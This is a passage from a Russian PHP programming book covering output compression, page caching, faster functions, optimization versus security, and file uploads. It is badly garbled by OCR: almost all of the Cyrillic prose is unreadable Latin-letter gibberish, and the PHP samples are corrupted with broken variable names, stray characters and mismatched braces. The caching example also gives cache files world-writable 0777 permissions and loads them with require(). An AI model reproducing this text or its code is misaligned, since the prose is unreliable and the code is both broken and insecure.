Jns atoro HYXKHO BBIMOAHHTE (PYHKUMIO ob_start(), a B KayecTse napamerpa
nepenars CTPOKY ob_gzhandler:

<?php
ob_start('ocb_gzhandler');

// BuBon DaHHEX

>

B arom ciyyae manHble OyayT nepeaaBaThCst KJIHEHTY B CKATOM C MOMOIUBIO gzip
puae. Ecnu Gpaysep KAMeHTa He NOALEPXKMBAET CKATHS, TO AaHHbe OymyT mepe-
nasateesl B OTKpeITOM Buze. Jdake ecnu 50% nonssosareneii Gyayr nonyyars exa-
Thle AAHHbIE, Bbl CIKOHOMHMTE HOCTATOMHYIO [OII0 Tpa(uKa, a 3HAYWT, U pecyp-
coB. Koneuro, fwisi cepsepa 310 AMILHIE PACXO/Ibl TPOLIECCOPHOTO BPEMEHM, BEIb
NPUXOMUTCA BHIMONHATE NUILHUE ONEpauMy Mo CXATHIO. 3aTO ceTeBble KaHaubl
cMoryT obpabarsiBars Gonbllee KOJIMYECTBO 3aNpocoB, a 3HAYUT, U Obictpee. Ec-
NY BAll KaHan cBA3W darpyxeH Gonee yem Ha 70%, HEOBXONNMO MMONYMATh O TOM,
yro6bl BKIIOYHTE Bydhepusainio.

4.4.2. KalumpoBaHue cTpaHul

Ecnu Bamm cueHapum ucrionbayior st popmuposanns Web-crpanuiel sanpocst
K moctatoyHo Gosbuiol Gase JaHHBIX U MPH ITOM U3MEHEHHs B Gase MPOUCXONAT
PEIIKO, TO MOXHO KIIIMpoBaTh Lenbie cTpaHuibl. Kak oueHHTh, HACKONABLKO pen-
KO Mensercs Oasa gaHHpix? s 3TOr0 HYXKHO CPaBHWTL YACTOTY M3MEHEHWH ¢
KONM4ecTBOM OOPALEHHN, U CIM MEXAY M3MEHEHMSIMM MPOUCXOAUT “Gonee 100
obpaueHuil K pawemy caity, To K3WHPOBAHWE PEATBHO [TOMOXET.

Kswmposatue npouexopur creayomum obpasom. Ipu nepsoM obpaiieHun wix
nocsie BHeceHUS MU3MEHeHuH B Basy naHHBIX cTpaHuua GOopMUPYETCs ¢ [TOMOLLBIO
CUEHapusi, A 3aTEM COXpAHSIETCS HAa AHMCKE CepBepa B CMEUMANBHOM KaTanore.
Tlpn nocnenyioteM obpallieHMH K STOi JKe cTpaHule CLeHApUit cHavaza npose-
psieT, cyllecTByeT Jiu daiin co erpanuuei, Eciu 1a, To cueHapuil 3arpyxaer ero,
B pesyabrate He HyxXHO Gyaner 3aHoBo dopmuposBats Web-cTpanuily, yMeHbLINT-
csl KonwuecTso obpaunienui K Gasze HAHHBIX, W 3HAYMTENBHO CHHM3WTCH HArpyska
Ha cepsep.

st kawuposatust crpaiuul y PHP Her rotosoro n addexTuBHOrO MHCTPYMEH-
Ta, A4 €r0 W HE MOXET ObITh, TIOTOMY YTO YHUBEPCATBHOIO PEIeHUs] HE CyliecT-
syer. TIporpaMMHCTY BCe TIPUXOIMTCS CO3AABATh CAMOCTOATENBHO, W B JNAHHOM
pasiesie HaM MPeACTOMT PACCMOTPETh BO3MOXHBIH BAPHMAHT peureHus rmpobnessl
KIUWHPOBAHHS.

Hasaiite nogymaeM, Kak oOBeANHUTH K3UIMPOBAHHE BBIBOAA, KOTOPOE Mbl pac-
CMaTpUBAIH B pasdese 4.4.1, u KsumpoBanue crpaHull, Ecam oGbeAMHUTL 3TH
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[(BE TEXHOJOTHM M HEMHOIO IOAYMAaTh, TO MPUMEP PeaH3alliu KIWMPOBAHUA
CTPaHULl cTaHeT oueBHAHBIM. Mos peanusaius nokasaHa B aucTHHre 4.1,

<?php
[/ dyHEUMA YTeHMs kawa
function ReadCache ($CacheName)
{
if (file_exists("cache/$CacheName.htm"))
£
require("cache/$CacheName . htm") ;
print ("<HR>Crpanuiia sSarpyxeHa 3 xama");
return 1;
} . f
else
return 0;

// OyHRUMA SamMcH Kswa
function WriteCache ($CacheName, $CacheData)
{

Sef = @fopen("cache/$CacheName. htm", "w")

or die ("Can't write cache");

fputs ($cf, $CacheData);

fclose (%cf);:

@chmod ("cache/$CacheName.htm", 0777);

// OcHOBHOW KON CTPAHMLIE
if (ReadCache("MainPage")==1)
exit;

ob_start();

print ("<CENTER><B>I'laBHas crpanuua</B></CENTER>") ;
print ("<P>3T1o0 TecroBas crpaHmMua");
WriteCache("MainPage", ob_get_contents());
ob_end_flush(); '

=
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OcHoBHOI KO/ clieHapWsi HAYMHAeTCs C 3anpoca 3Arpy3ky CTPaHMLbl M3 KI1ua,
[ns sTOrO B AWCTUHTE co3naHa (YHKUMA ReadCache(). @yHKUMM nepenaercs
ums (aitna, KOTOPBIH HYXHO 3arpy3uTh, Beb B K31Ue MOTYT OBITh COXpaHeHb! Bce
Web-ctpanuis. B ganHom ciayvyae nonpasymesaeM, YTO cUEHApwil dopmupyer
MIABHYIO CTPAHMIY ¢ MMeHeM MainPage, H WMEHHO 3TO 3HAYEHHE Mbl Mepeasem
B Ka4uecTse rnapamerpa.

[asaiite Tenepsh NOCMOTPHM, YTO MPOMCXOAMT B (DYHKUMM ReadCache(). 3xech
IPOM3BOAMTCS MpoBepKa cyulectsoBanust (aiina ¢ ykasaHubsiM umeHeM. Ecnu
TaKoi Qain cylmecTsyer, To OH NOAKIIOYAeTES ¢ NOMOUILIO (DYHKUMH require()
¥ BosBpawaercs 3Hadenue 1. [Uts HAmsAHOCTH 51 elle BLIBOXY Ha 3KpaH coob-
LIEHHE O TOM, YTO 3Ta cTpaHuMla Opl1d B3ATA W3 K31a,

Bepremca K ocHosHOMy komy. Ecam (yHKuMa ReadCache() Bossparuna 1, 1o
BBINIONIHEHHE cUeHapus npepbiBaetes. Her cMbicna TpatiTs Bpemst Ha GopMHpPO-
BaHHe CTPAHMILIBI, €C/Ii OHA GbUta B3SITA M3 KA,

Janee seimonHgem GYHKIHIO ob_start (), 4ToObl HaYaTh K3MIMPOBAHWE BBIBOIA,
U HauyuHaeM <opmHposath crpanuly. [lepen TeM Kak BbI3BaTh (YHKLMIO
ob_end_flush (), HEOBXOAMMO COXPAHUTL CONEPXUMOE CreHepupoBaHHON cTpa-
HHILIBI, KOTOPYIO MOXHO TIONY4YHTh C MOMOILBIO ob_get_contents (). st coxpa-
HEHMsl K3Ia B HAlleM cUeHapu¥ cosuaHa (yHKUMA Writecache(). Eil HyxHO
nepesath UMsi CTPAHMIIBI, 11O KOoTopoMy ompenensiercs ums daiina kawa. Bropoi
mapaMeTp — JaHHble, KoTopeie 6yayT sanucansl B daitn. B wamwem cnyyae sro
pesynsTar GYHKUUN ob_get_contents().

[Mocne cosnanus daitia namensioTes ero npasa nocryna va 0777, yro coorserer-
BYET MpasaMm, NMpH KOTOPHIX A0ocTyn K aitmy paspeiien scem:
@chmod ("cache/$CacheName.htm", 0777);

3arpysute ¢ momousio Gpaysepa sror cueHapuii u momnpobyiite o6HOBUTE cTpa-
Huuy. [Mocne oGHOBNEHMs BB YBMIWTE B KOHLE CTPAHMUBI COOGLIEHHE O TOM,
YTO CTPAHULA B3ATA U3 KA. -

Ecnu BBl peluTe UCNOAB30BATH TY 3arOTOBKY B CBOUX NPOEKTAX, TO MEpPeHecHTe
(YHKIIHY ReadCache() U WriteCache() B OTHENbHEIH MOAYILE W MOARIIOYANTE
¢ noMouibio GyHKIMM include (), YTOOBl OAHH M TOT X€ KO HEe Pa3MHOXATh BO
BCEX CUCHApPHAX. )
3aroroBka peitcTBuTENBHO yrobGHas. Ecnu HyXHoO co3garh eile OfHY CTpPaHuily
caiita, HanmpuMep, CTPAHMILy KOHTAKTOB, TO €€ KOI AOKEH BBIJISNETh CIeNyio-
wuM obpasom:
<?

include('func.php');

/{ OcHOBHG# KON CTPaHMLE

if (ReadCache("Contacts")==1})

exit;

ob_start();
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print("<CENTER><B>KouTarrei</B></CENTER>");

print{"<P>Hrobu cBARaThcA co MHOW: horrific@vr-online.ru™);

WriteCache("Contacts", ob_get_contents()); \

ob_end_flush() ; , P 4%
>

B nHauane cuewapus nopkmouaercst dair func.php, B KOTopoM AOKHBLI GbITH
peanusoBaHsl GYHKUUN ReadCache() W WriteCache().

Yrobul Baw cueHapuii 6ui GezonacHbiM, He AABAHTE MONBIOBATENIO BOZMOXHO-
CTH MOBIMATH HA MMA TepefaBaeMoro 3sHayeHuss B (GYHKUMH ReadCache()
U WriteCache (). WnHave xakep cmoxer uyuTaTh (aiiibl M nepesanuchiBaTh MX.
B Hamem npumepe WM nepesaercsa xecrko, 6ea kakux-nubo nepeMeHHbix 1 6ea
pacuiupennsi. Pacumupenue daiina u nyrs nobasnsmores nporpammuo. Ecnu Ha-
3BaHME CTPAHMIIB! €lI1e' MOXHO BBIHECTH B MEPEeMEHHYIO M TO3BOJIUTH MOJNIB30BaA-
TEJHO BAMATE HA Hee, TO NyTh W paclidpeHue NOMKHBI H06aBIATHCH K HMEHM
daitna nporpammuo. [lepesaya nonHoro myrd B (QyHKUMH ReadCache()
U WriteCache() HO/MXHA ObITh 3ampeineHa. s 3T0r0 MOXHO BOCHOMB30BaTHCS
PeryJisipHbIM BHIPAKEHHWEM W BHIPE3aTh W3 MapaMeTpa Bee CHMBOJBL /.

C nomoutsio ko1a Web-cTpaHuil Bel PEaIbHO MOBBICHTE CKOpPOCTh PaboTsl clie-
Hapusl, HO MOTEPAETE BO3MOXHOCTEL CO3NATh CailT, HaNpaBAeHHLI HA NMONIb3OBA-
Tensd, T. €. TaKoM, Ha KOTOpOM Kakiblif rosb3oBare/lb MOXeT cO3laBaTh cobeT-
BEHHOE MpeicTamlenue caiita. Ecin Bel XOTHTE OpPraHU30BaTh BO3SMOXHOCTH
Belbopa pacuBeTKH caiita, HacTpoilky OTOOpaXKEHMS OnpeuejIeHHBIX dacTeif nox
nosib3osatens (HanpuMep, B 3aBUCHMOCTH OT MPEANOYTEHMS MONb3OBATENS, 110~
3BOTUTDH €My BLIOHPATh HYXXHBIE KaTeropuu HoBoctel wis orofpakeHus Ha rmas-
HOil CTpaHHMLe), TO PeAIM30BaTh MOA00HOE ¢ IOMOIILIO K9UIMPOBAHMS AOCTATOY-
HO CNOXKHO, 4 eclu U yaacTes, To addexr Oyrer MHHUMANEH, TAK YTO OBIMHKA
BBUIC/IKH HE CTOMT.

4.4.3. Bucrpue hyHKL N

B Go/blUIHHCTEE cnyqaea B JMOBOM si3biKe nporpaumnposauuﬂ €CTh HECKOJIbKO
BapHaHTOB pelienus sanaun, U PHP Tyt He amnsercs uckmoueHnem. B nanHom
pasjene HaM IpeAcTOUT YBUIETh, KAK HEKOTOPBIE PElIeHWs MOoryTr MOBBICHTS
CKOPOCThb BBITOITHEHUS CLEHAPHSI. -

B pasdese 2.2 mbl nocTaToMHO NOAPOGHO MO3HAKOMWINCH C NogKIoYeHueM daii-
JIOB ¢ MOMOIBI0 GYHKUMH include() M reguire()., Msl npusenu mocTaTtodHo
XOpoIWe MPUMEpPHI TOFo; KAK MOXHG OHICTPO co3nasaTh WAGKOHLL caliTOB, KOTO-
peie BriochenacTsun Gynyr ynobHsl B conpopoxaeHun. Bee xopoluo, HO 9TH
GYHKUNN NpeaHAsHAYSHB! JUIS MOAKITIOUEHMS KOAa, TIOSTOMY WHTEPIpPeTaTop npu
sarpyske uuer B8 daiiax PHP-koa u suinonsser ero. 9ro neﬂcmmmo OTHH~-
MAaeT JOCTATOYHO MHOTO BPEMEHH.
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Ecmu nomwmouaemsiit daiin comepxur Tonsko HTML-kom, To MCNONL30BATH
dGyHKIMH include() W require() HeaddekrusHo. HamHoro GricTpee orpabora-~
er QyHkuus readfile(), Ectb TOnbKo olHa npobreMa — HA HAYATLHOM 3Tane
pa3paboTkd HMKOTIA He 3Haelib, noHamoburcst au PHP-kox 8 noakmouaemom
¢aitne. MmenHo mnosromy s HCMOAL3YI® Ha 3tane paspaboTku  (yHKuUMO
include(), @ MOCKE 3aBeplueHust paboThi, ECIH CTh BOZMOXHOCTb, 3AMEHSIO ¢e
Ha (DYHKLMKIO readfile().

Mbi o4yeHb YacTO MCMONBL3YeM ZUIs BEIBOJA NMepeMeHHBIX GyHKUMIO print (). [Tpu
ITOM CaMO MMS MEPEMEHHON 3aKITIOYAETCs B IBOHHLIE KABBIYKH:

print ("S$name") ;

Ecim Tekcr, mepenasaeMbiii mepeMeHHOI $name, 3AKIIOYAETCH B ABOMHBIE Ka-
BBIYKH, TO HHTEPMNPETATOP AHATHIUPYET MApPaMeTp B MOMCKAX UMEH MMePeMEHHBIX.
Ecnu takoe MMs HalieHo, TO OHO OyAeT 3aMeHeHO HA 3HAYEHHWE MMEepeMeHHOH.
310 oueHb yHoOHO € TOYKHM 3pEHMs NMPOrPAMMHMPOBAHMS, HO WHTEPNpPETaTopy
PHP tpebytorcs JmuiHue HaknagHbie pacxonsl Ha aHanus. HamHoro Geictpee
6yaeT BBIMONHATLCS CHEAYIOINH Ko

print ($name) ;

3nech HeT NBOMHBIX KaBbMYeK, M He GYIeT MUINHHX HAKIAIHBIX PACXONOB, a 3HA-
9HT, JaHHBIM Kox Oymer BemonHsATECA OGeicTpee. Ilonywaeres, 4TO B CUEHAPHIIX
Jiydire Bcero BoOOILE OTKA3aThCsi OT ABOWHBIX KABBIYEK, 4 HCIONbL3OBATh TONLEO
OOMHAPHbIE.

A ecii HY)XXHO BBIBECTH HA 3KpaH TEKCT M mepeMeHHYy0? MOXHO pasbuTb BbIBOX
Ha IBe KOMAHIbI:

print('VMMa pasHo: ')}

print ($name) ;

Xopoliee pelieHne, IOTOMY 4YT0 OHO Gyaer paGorarh GeicTpee, YeM MCIIONbL30BA-
HHE IBOHHBIX KaBLIYeK:

print("VMua paBHo: S$name");

Pasbuparh BBEIBOJI TEKCTAa HA HECKO/ILKO ONepauuii print HEKpacuso, u 1pu 6oab-
IIOM KOJIHYECTBE MEPEMEHHBIX KO/ CLEHApHA HaYMHAeT GhICTPO pacTH ¥ CTAHOBUT-
cst HeyuTaeMbiM. [IpoBieMy MOXHO peluTh, €CIH 3aIHCaTh CTPOUKY TakK:
print('Mua pasBHo: '.$name);

Bor Tak 6yaer GBICTPO M KpacmBo,

J1s BEIBOJA MEpEMEHHBIX MOXHO MCIIONB30BATh (PYHKUMIO print () ClEAyIOLET0
BHIA:
printf ("Mua pasHo: %s", Sname);

B crpoke BBIBOAA € MOMOLIBIO KIIOYA $s MBI YKAa3LIBAEM MECTO, Kylda HYWKHO
BCTABMTh 3HAYEHME NepeMeHHOW, a cama nepeMeHHas nepesaercs (GYHKUHU
print{)} BO Bropom napamerpe. Urolel HaliTH KIOY $s, MHTEPNPETATOPY CHOBA
HY)XHO AHAIM3MPOBATL CTPOKY, YTO OTHMMAET MpOLECCOPHOE BpeMsl, MO3TOMY
AaHHBIA METON TAKXKE Hejib3fl HA3BATH ONTHMANbHbLIM.
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Hanpumep, perynsipHbie BhipaxeHusi paboTaior MeuieHHee, YeM QYK MaHK-
nysiuui co erpokami. B cBA3M ¢ 3THM, eCAM BAM HYXHO MPOM3IBECTH NPOCTYIO
3aMEHY B CTPOKE, HE CTOMT WUCMOJbL3OBATE MUTS BTOrO PEry/SIpHOe BEIPAKEHHE W
GbyHKUMM ereg_replace() WIH preg_replace(), Bedb QYHKIMS str_replace ()
Oyner paborars HamHoro Guictpee. Ilpumep ¢ perymsipHbIMM BEIDRKEHUAMN Ha-
TJISAEH, HO 8l MCNONB3YIO lbYHKD.I‘l}O str_replace() TOJABKO B TEX CHY4asfX, Koria
KOJl BBUTONHSIETCA B UMKIE, HHAYE BLIMIPLIL B CKOPOCTH HEBENMK.

Ecnu perynsipHblie BeIpaXeHHs HEoOXOmMMMBI M PeaibHO MOIYT YIPOCTHTH paspa-
GoTky, To nydme Gyner samymarscst o npumeHeHuu Perl-apuanta, moToMy uTo
OH HAMHOI'O MOILIHEEe, J1a U, 1Mo MouM HabsmioneHusaMm, pabotaer GuicTpee.

Ipu pabore c gaiinamu nomymaiite 0 ToM, YToOBl YHTaTh (haii HETHKOM ¢ 1O-
Molibio GyHKUMA £ile() WiK readfile(). D10 HAMHOro OLICTpee, YeM MCTIONb-
30BaHKE LIMKIIA:

S$f=fopen("1Mh file.txt","r") or die(l);
while(s$x[]=fgets($£,1024));
fclose(SE) ;

OyHkuuu file() WA readfile() uMraloT (Qaiyibl LUETHKOM, MOSTOMY MOIYT
obpalarses- K XKeCTKOMY AWCKY Ui ureHust DonblimMy Gnokamu. 3a oauH pas
MOXHO uMTarh no Heckonbko K6ailr. [pu Henons3oBaHMM LMKIA Bl YuTaere
JaHHble MOCHUMBONLHO Win HeBonbwumi Grnokamu (B JAHHOM NPHMEPE MO Of-
Homy K6aiTy), K TOMy Xe caMm UMKI TOPMO3MT CHUEHApMii 3a CHeT HeoGXoaMMo-
CTH MCI0/Ib30BaHKS BONBLIOIO KOJIMYECTBA CPABHEHMI 1 onepaumii nepexoa.

4.5. OnTumnsauus vs. besonacHocTtb

OcHoshas npobnema ontumusauum B PHP sakmoyaerest B ToM, 4TO ONTHMH3A-
uust U 6e30MacHOCTh, Yallle BCEro, nMpoTuBopedusbie noHaTHs. Ko, KoTopeii He
NPOU3BOANT HUKAKHX NpoBepok, paboraer GricTpee, MOTOMY UTO Kaxias mposep-
Ka MOXeT mpHuBecTH K omubke B nporpaMme, 4To, B CBOIO O4Yepelb, MOHUINT
Be3onacHoCTb. sy

Kaxnasi nposepka — 3T0 3aTpaTsi NPOLECCOPHOFO BPpeMeHW M aammemie pabo-
ol mporpammsl. Ho ecnu 3a6oruteesi o 6e3onacHOCTH Koad, TO MPOBEPKH JIHIL-
HuMH He 6ynyr. Hano npocro nocTpoMTs MX NpaBHIbHEIM 06pasoM.

Bo BpeMsi mpoBepkH HYXHO PaccTaBuTh npuoputersl. [TepsbiM AeNOM, HYXHO
nporepaTs HanGonee vacTo BETPEYAIOUIHECH OUINGKU UMM NPABUNBLHBIE pPeakiiny,
Hanpumep, Bbl xoTuTe 3amperuth nepenauy B (opmy HTML-reros. Kak sro
MoOXHO caenars? Brnonue noruuHsiM ObuIo Obl MCHONBIOBAHWE PErYASAPHLIX BbI-
POKEHWIH, KOTOpble MOBCEMECTHO Herolibayiotes B Perl u, waseproe, Gnaronaps
eMy nonyyunu pacnpocrparenue. Ho oun paboraior He tak yx u Gsictpo, a ca-
MOE CTpallHoe, MPH COAAHNH PEry/ISTPHOTO BRIPAXKEHHMS NETKo ournburses.
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Ecny Mue HyxHo sanperuts HTML-reru, To 5 peiaio 3ajgavyy ¢ mMoMOULBIO clie-
JIYIOWEro anTopuTMa:

0 ecin B CTPOKE €CTh CUMBOJN < MIIH >, TO, BEPOATHO, B HEll €CTh TEr, MOdTOMY
HYKHO BRI3BATE (PYHKUMIO Oonee AeTambHON MPOBEPKH, KOTOPAsT MOXKET OT-
HSITh MHOTO BPEMEHH;

O ecnn CHMBOJIOB < M > HET, TO MOXKHO TTPMHHMATE CTPOKY W BbISHIBATH (hyHk-
1110 o6paboTKI CTPOKH.

B Buze xona 3To sanmdiiemM Tak:

$posl = strpos(Smystring, "<");

$pos2 = strpos($mystring, ">");

if (($posl === false) and ($pos2 === false))

{

// Busos dyuxitmy ofSpaborTru CTPOKM

}

else

{

// Bonee CNOXHAA MPOBEPKA BEEMEHHEX NaHHEN
// Ecnn npoBepka. NpofieHa yHawHO, TO BHEBBATE TY Xe
!/ byuxiao oﬁpaﬁom CTPOKH

}

endif

B nanHoMm cimyuae nmepemMeHHast S$mystring CONEPNKHT TEKCT, KOTOPHIA mepesan

ciueHapuio noasosarenb. C momolsio GyHKUMK strpos () Mbl TPOBEPSEM, €CTh

JM B CTPOKE CHMBONEL < ¥ >, Ecnu oba pasa yHKums Bo3pparuia false, T. e,

B CTPOKE HET CHMMBOJIOB < H >, 3HAYUT, TAM He OyIeT TeroB M 3JI0BPEIHOro Koaa.

Ecnu cumBolisL ecTh, TO npou3BoauTest Gonee coxHas Mposepka, Koropas Gyaer

MCKaTh M, BO3MOXKHO, BbIpeXeT 3JIOBPEAHBIH KO M 3aMpeuieHHbIe Tern U3 CTpo-

KM, MepelaHHoi NoXb3oBaTeleM.

TakuMm obpazom, eciu TONL3IOBATENE: NMepefat cTpoKy 6e3 3anpelieHHBIX CHMBO-
JIOB, TO Koj OyHmeT BHITONHATLCH AOCTATOMHO BbicTpo M 6e3 npobaem. Eciy uro-
TO 3anpellieHHOoe HAieHo, To TONLKO B 3TOM Cly4ae NpoLeccop cepsepa Momy-
YAT JIOTIONHUTEABHYIO HATPY3KY, M MOMb3oBarenb Byaer HEMHOTO [ONLIIE OXH-
JaTh OTBETA.

Ho npesasaputensHas npoBepka HA CHMBOJBI < M > HE TapaHTHPYeT OTCYTCTBHE
anospenHoro koza. ToibKo HETANLHBI NPOCMOTP MOMAYMEHHBIX HAHHBIX MOXET
aTo cKasark XoTs 66l ¢ 99% ysepeHHoCTHIO. [T03TOMY ONTHMMU3AUMA B AAHHOM
cyqae MOXET CUJIBHO YAAPHTH 110 HALEKHOCTH.

DT0 AOCTATOYHO MPOCTON, HO TOKasaTelbHBId npumep. B peanbHBIX ycnosusax
MOXET 0Ka3aThesl HaMHoro Goibile 3a1ad, B KOTOPhIX PAHXUPOBAHWE TO3BOAUT
MOBBICUTE CKOPOCTHE W YMEHBIIUTE Bpemsl oBpaboTku cueHaphs 0e3 NMoHMXeHHs
6e30MacHOCTH.
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Ho B Gonsuruerse cnyyaes sabora 0 6e30MacHOCTH BCe K€ MELIdeT MpOoH3BOLM-
TeJIbHOCTH, NMOTOMY UTO TpebyeT MHOXKECTBA POBEPOK, O KOTOPHIX Mbl YK€ roBo-
puin B 2ra¢e 3. HaumHalollme nmporpaMMMCThi CYUTAIOT, YTO MPOBEPKH IOJDKHbI
6bITh TONBKO TaM, TE Mbl NojydacM BBENEHHbIE Moab3oBareseM maHHbie. Jla,
TIPOBEPATH MOJIB30BATE/NN HALO, TIOTOMY 4TO ciyyaiiHas olnbKa BBOMA MM crie-
UHanbHBIM 00pas’oM MOATOTOBIEHHAS XaKEPOM CTPOKa MOXEeT CKOMIPOMETHPO-
BATE ClEHAPWIT M 3acTABUTH ero paboTaTh HEBEPHO.

Ho nposepku momkHsl 66iTh Besne. Ecnu yHKIMs MMeeT Ko BO3Bpara, CBHIE-
TENLCTBYIOMHI O MPABUALHOCTH OTPabOoTKH, BhI OBA3ATENbLHO HONKHE YOSAUTE-
csl, 4TO BO Bpemsi paborel QyHKIMM He ObUio ownbok. 3aech Heb3sg pasrpaHu-
YUTh, ¥ KaKUX QyHKUMNA HYKHO NPOBEPATH KOJ BO3BPATA, & 10C/IE KAKMX MOXHO
npexebpeus nuiiHuM onepatopoM if. [Tposepkyu go/okHB! GiTh Beeria. BeiBaioT
TOJILKO CNIY4Ya, KOra MpoBepKe HALO YAeMHTL GOMbIe BHUMAHKS, & KOTAA HeT.

Ocoboe BHHMAHKE JO/KHO YANSATHCA MPOBEPKAM B CASAYIOUIMX Clydasnx:

O [lpu nonydeHHH AHHBIX OT NOAb30BaTeNd. S IymMan, yTo TYT HE HYXHO MHOro
oOBsAcHSTH, Belib ¢ Bamum Web-caiitoM paGoTaloT He TONBLKO A0GPOCOBECTHHIE
ITOJNIB30BATENH, HO W BATOMIIMKH, KOTOpLIE MOTYT fl€peiaTh NporpaMme CHCTeM-
Hble KOMaHLI B BHAe napameTpos, OB 3TOM MBI YK€ TOBOPHIN B 21aee 2.

O TIpu obpaweHun X cucreme. BaToMIUIMK MOXeT CKOMMPOMETHPOBATH Jaxe
daitnoByio cucremy. Hanpumep, saw cueHapuii mcnonbayer ¢aitnbsl Ha mucke.
Ecnn xakep cymeer ynanuth Heobxouumbiit chaiisi, To BO BpeMsl MONBITKH OT-
KpbITh ero PHP-(pyHKiMst BeiaacT Ham otbKy. Bbl HomKHEl oTpearnposarh Ha
3Ty OWMOKY M NpepsaTrh BHUIONHEHWE CLEHApus, WHaMe AanbHeiiluas pabora
TIOMJIET 1O HENPEABUACHHOMY KYPCY, H XakKep CMOXET BOCMONB3OBATHCS ITHM.
K cucreMHsiM pecypcaM OTHOCHTCS W 3MEKTPOHHAS moyuta (notoMy uro send-
mail Takcke MoXeT OBITh CKOMITPOMETHPOBAH), H APYIHE Pecypchi CepBepa.

0O Tlpu obpaitennn x 6aze gaHHbIX. D10 BoOGIIE OTAENbHAS TEMA, HA KOTOPYIO
MOXKHO TOBOPHTH “acaMi. XaKep MOXeT MojyunTh HocTyn K 6ase maHHbIX He
TOJABKO C MOMOILBIO BALLUEro CUEHAPHS, HO M Yepe3 MpAMOoe COefdHEHHEe, eCTH
cepBep HOCTYMEH I TMomknoyeHuss WasHe. Ho Haxe ecau Bbl 3alpeTwIv
NONKITIONEeHHe K cepBepy 0a3 HaHHBIX CO BCEX MAIIMH, KPOME JIOKAJIBEHOTO
ceppepa, HeobxonumMo OBITH BHUMATENBHBIM M aKKyparHeiM. [omycTum, 4ro
XaKep CMOT M3MEeHHUTE WHQopMauKo B Tabiuu@ax | 3anncan 3M0BpeaHbIe daHHEIe
B onpeaeneHHbie nons. Torma npu ureHnu mx ¢ nomouwsio PHP Boi Moxere
TaKKe MONYYUTH 3M0BpeaAHbIid Kon. MHpIMK cloBamu, TakuM criocoboM Xakep
nepenan cueHapuio Kou He yepes cdopmy, He uepes napamerps B URL, a ue-
pe3 Gasy manubIX. MMeHHO MO3TOMY BCe JaHHBIE, MONYYEHHBIE OT cepsepa Ga-
3bl JIAHHBIX, BbI JO/KHBI HPOBEPITh M AKKYPATHO MCMNONL30BATH TAK, KAK OyI-
TO OHH TIOJIYYEeHbI U3 HEIOCTOBEPHOI0 UCTOUHMKA.

besomacHOCTs M NMPOH3BOAMTENBHOCTE MOTYT ObLITE CBSI3AHHBIMM [MOHATHAMM,
a MoryT ObITh TTPOTHBOPEYMBLIMH, MMO3TOMY 00¢ Mpobiembl HOMXKHBI paccMaTp-~
BaThCs COBMECTHO.
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lNMpumepsbl pabotbi ¢ PHP

Y Hac yxe 1ocTaTodHO HH(MOPMALIMY Ul TOro, YTOBE Hauyarh nuecars Gonee UH-
TepecHsle mporpamMMmsl. B 3Toii mnase Hac xer Gonblioe KoinM4ecTso N0GonbT-
HBIX NPUMEPOB, PeKOMeHAALMil, yJIoBOK, cekperos M T.A. Ecim npeasutyuiue
aBbl OBUIM, CKOpee, TeOpeTHYeCKUMH, TO 2Ta ByieT HocuTh Gonbilie npakruye-
CKMI xapakrep.

Teoperuyeckue 3HaHHs — 3TO XOPOIO, HO HEOBXOMMMBI I MPAKTHYECKHE HABBLIKU.
TonbKO ONMBIT MO3BONNT BaM MAKCUMANbHO DHICTPO M KaYeCTBEHHO peluarh THIO-
BBIE 3a1a41, ¢ KOTOPBIMH MOXHO BCTPETHTHCH B peanbuoﬁ KHM3HH,  YMEHBUIUTD
BEPOATHOCTH OLUHOKH.

JIuyHo s BCEria HAYMHAIO M3YYaTh YTO-TO HOBOE UMEHHO ¢ NMPAKTHYECKUX 3anay,
a noTom yXe nepexoxy K teopuu. [pakTHka no3ponsieT yBUAeTh COOCTBEHHBIMU
rf1a3amu, Kak YTo-To paboraer, 4 ¢ MOMOIULIO TEOPHM MbI YIIyGIseM CBOM 3Ha-
Hus. UIMEHHO MOSTOMY BCe TEOPETHUECKHE 3aHATHA B JAHHOH KHMre nutH Bne-
pemeiiky ¢ OombliuM KonawdecTsoM mnpimepos, Jlyulle onuH pa3s yBUJIeTb, YeM
100 pas npounTaTh.

5.1. 3arpyska cpaiinos Ha cepsep

3arpyska (ailJioB Ha cepBep — OIHA U3 camblx omacHbIx 3axay. Eeau nossonuts
TO/IL3OBATENIO YTO-TO 3arpyXarh, TO XaKep CMOXET MOMECTHTL Ha cepsep CBOIf
cueHapuii i BelnoaHUTh e€ro. EciiM eMy 3TO ymactes, TO cyMTaiiTe, 4TO BaLl cep-
Bep BINOMAH.

Kak u mobbie apyrie paHxbie, (Gaitisl MOryT nepeiaBaThcsi cepBepy METONAMY
PUT WK POST. METO/ POST HAM yXe 3HAKOM To pasdedy 2.12, a BOT PUT MbL NOKA
eme He UCTIONB30BAIN. MeTon PUT coxpaHsieT NaHHbIE TI0 onpqmemiomy anpecy
URL # XOpoIlUo MOAXOMMT IUisi MyOnMKaLMy AaHHBIX Ha cepsepe. Tombko ecTb
omHa npobnema — meron He paGoraer 8 PHP 4 u3-3a omnbxu, nosromy ayuiie
M He noasloBatees. K Tomy Xe, OH MIOX0 MOAXOOUT wisi nepenayn daiios U3
HTML-dopm. Meroa posT Gonee HalexeH W BNOMHE AOCTATOYEH, MO3TOMY Or-
PAaHUYMMCS TONBKO HUM.
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Ins Havana mocMoTpuM, Kak paGortaer meron, H HauHem ¢ HTML-dopmbr pas
OTITPABKH: '
<form action="http://192.168.77.1/1/post.php" method="post"
enctype="multipart/form-data">

dalne ONMA OTIPaBKH

<br><P><input name="filel" type="file">

<br><P><input type="submit" value="Send files">

</ form>

B cBoiictBax ¢dhopmbl, TOMMMO TAPAMETPA action ¢ YKasaHWeM cueHapus obpa-
GOTKH M MeTOo/A OTTIPaBKM, HEOOXONMMO YKa3aTh CBOHCTBO enctype. D10 CBOHCT-
BO ONpeJensieT, B KaKoil KoAUpOBKe JO/KHB! oTnpasintees davuse. [To ymonua-
HHIO OHO paBHO application/x-www-Eform-urlencoded, T.E&. paBHO TeKyei
konuposke dopmel. Ho wis daiinos, ocobeHHO DUHAPHBIX, KOAUPOBKH HE NOMAK-
HO OBITh, 1103TOMY HeobBX0AMMO H3MEHHTHL CBOHCTBO HA multipart/form-data.

Hns eBona uMern chafina NCMoNb3yeTCsl SAEMeHT yrnpasieHns input. [Inst yno6-
cTBa TUN (CBOMCTBO type) 3TOIO 3MEMEHTa paBeH £ile, DTOT TN MOAAEPKUBALT-
cst GompurmHeTBOM Gpaysepos u orobpaxaer Ha 9KpaHe HE TOJILKO I0/le BBOJA,
